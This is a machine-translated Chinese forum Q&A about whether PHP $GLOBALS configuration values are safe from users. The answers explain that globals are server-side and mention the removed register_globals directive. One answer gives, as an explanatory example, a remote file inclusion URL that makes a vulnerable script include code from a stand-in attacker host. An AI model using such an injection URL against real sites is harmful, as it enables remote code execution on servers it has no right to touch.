PHP $GLOBALS |安全查询


PHP $GLOBALS | Security enquiry

我的应用程序中有一个settings.php页面,它使用$GLOBALS来存储web应用程序中使用的配置。

作为一个例子,他是我使用的一个样本设置变量:

$GLOBALS["new_login_page"] = 1;
$GLOBALS["secret_cross_check_token"] = 3243242342423;

然后在其他页面上调用这些全局变量(因此我使用$ globals)来执行任务,例如,如果用户将全局变量切换为1,则为用户提供新功能。

:

这对我来说真的很好,我不希望使用数据库来存储它们,但最近我想到,$GLOBALS是安全的吗?用户可以阅读或操作它们吗?如果是,解决方案是什么?

我知道这是服务器端,但我只是怀疑用户是否可以访问$GLOBALS

全局变量只能被服务器端访问,你可以安全地使用它们。

如果一个用户可以访问你的全局变量,那是因为他已经获得了在你的服务器上执行代码的权限,所以,在这种情况下,他可以做很多比读取你的全局变量更多的事情。

如果用户可以在你的服务器上执行代码,他将能够轻松地复制你的所有文件和所有数据库,所以访问全局变量将不是主要问题。

$GLOBALS是完全安全的全局变量。http://php.net/manual/en/reserved.variables.globals.php

用户无法访问。

"安全"是关于register_globals指令。但是它从php中删除了。http://php.net/manual/en/security.globals.php

这里的要点是,例如,我忘记将一些$includeFile定义为'inc.php',而我正在做include $includeFile;,有人可以直接进入http://mysite.ru/script.php?includeFile=http://hackersite.ru/script.php并包含自己的文件。

不是一个很好的例子,但是有点"接近"。

但是它不是关于$GLOBALS的,所以你不应该担心那里的安全。